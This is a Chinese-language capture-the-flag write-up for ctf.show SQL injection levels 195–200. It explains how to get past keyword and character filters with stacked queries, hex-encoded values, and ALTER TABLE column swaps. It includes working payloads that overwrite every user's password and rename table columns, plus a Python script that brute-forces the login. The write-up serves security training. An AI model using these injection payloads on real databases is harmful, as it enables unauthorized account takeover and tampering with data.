195 堆叠注入 十六进制
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){$ret['msg']='用户名非法';die(json_encode($ret));}
可以看到`没被过滤,select 空格 被过滤了,可以大致估计用堆叠注入
空格用`来绕过
很久没做堆叠了
if($row[0]==$password){$ret['msg']="登陆成功 flag is $flag";}
当登录密码正确的时候就可以得到flag,所以现在要更新密码
先在本地测试一下堆叠注入
update`表`set`字段`=密码
select count(*) from users where name='DuZZ';update`users`set`password`=0x313131;
可以发现所有密码都被改成了111
admin;update`ctfshow_user`set`pass`=111;
但是查询失败了
我们再看一下查询语句
//拼接sql语句查找指定ID用户$sql = "select pass from ctfshow_user where username = {$username};";
因为username没有被单引号包裹
就像这个没有被包裹会报错一下 ,就不是字符串
我们转换成十六进制试一下
发现用十六进制就不用单引号了
同理我们把admin转换成十六进制
发现可以登录成功了
196 select
过滤语句
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){$ret['msg']='用户名非法';die(json_encode($ret));}
还有条件
if(strlen($username)>16){$ret['msg']='用户名不能超过16个字符';die(json_encode($ret));}
看到别人wp说
其实select没有被过滤
那我们可以使用select,先在本地测试一下
select * from users;select(9);
那我们就可以把这个9作为密码,然后再在密码输入9,就可以登录成功
197 select tables
同理的
看过滤语句,这里用户名长度没有限制了
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){$ret['msg']='用户名非法';die(json_encode($ret));}
这里核心就是跟上一题一样
select(1)
那么我们只要password为1 就可以成功查询
那么这里同理
我们如果show tables
然后password就是表名ctfshow_user
那么就会成功
198 alter转变字段
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){$ret['msg']='用户名非法';die(json_encode($ret));}if($row[0]==$password){$ret['msg']="登陆成功 flag is $flag";}
用上一题的也能打通
还有一种方法,通过转变字段实现
我们先在本机操作一下
看下我们本来自己创建的表
现在使用alter命令,把password字段变成a字段
alter table users change column `password` `a` varchar(255)
然后我们把id字段改为password字段
alter table users change column `id` `password` varchar(255)
我们再把a字段改为id字段
alter table users change column `a` `id` varchar(255)
这样我们最终就实现了id与password字段的交换
那么回到题目
我们需要有username和password就可以实现登录
然后我们现在知道username,那么需要知道password
如果实现password与id字段交换,然后我们只需要知道password的id字段
而id字段肯定就是数字,那么可以通过爆破来实现
import requests
url="http://9ecb1c54-5708-48b9-9f05-f0fde09cf80b.challenge.ctf.show/api/"for i in range(1000):if i==0:payload={'username': "0;alter table ctfshow_user change column `pass` `a` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `a` `id` varchar(255);",'password':i}r=requests.post(url=url,data=payload)data = {'username': '0x61646d696e','password': i}re=requests.post(url=url,data=data)#print(re.text)if r"登陆成功" in re.json()['msg']:print(re.json()['msg'])break
199 text绕过varchar(200)
这里括号被过滤了
之前的payload还可以
括号被过滤,可以用text代替
0;alter table ctfshow_user change `username` `a` text;alter table ctfshow_user change `pass` `username` text;alter table ctfshow_user change `a` `pass` text;
然后 username = 0 passwd = userAUTO
200
多了一点过滤没什么影响
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(|\,/i', $username)){$ret['msg']='用户名非法';die(json_encode($ret));}
之前的payload还是能打通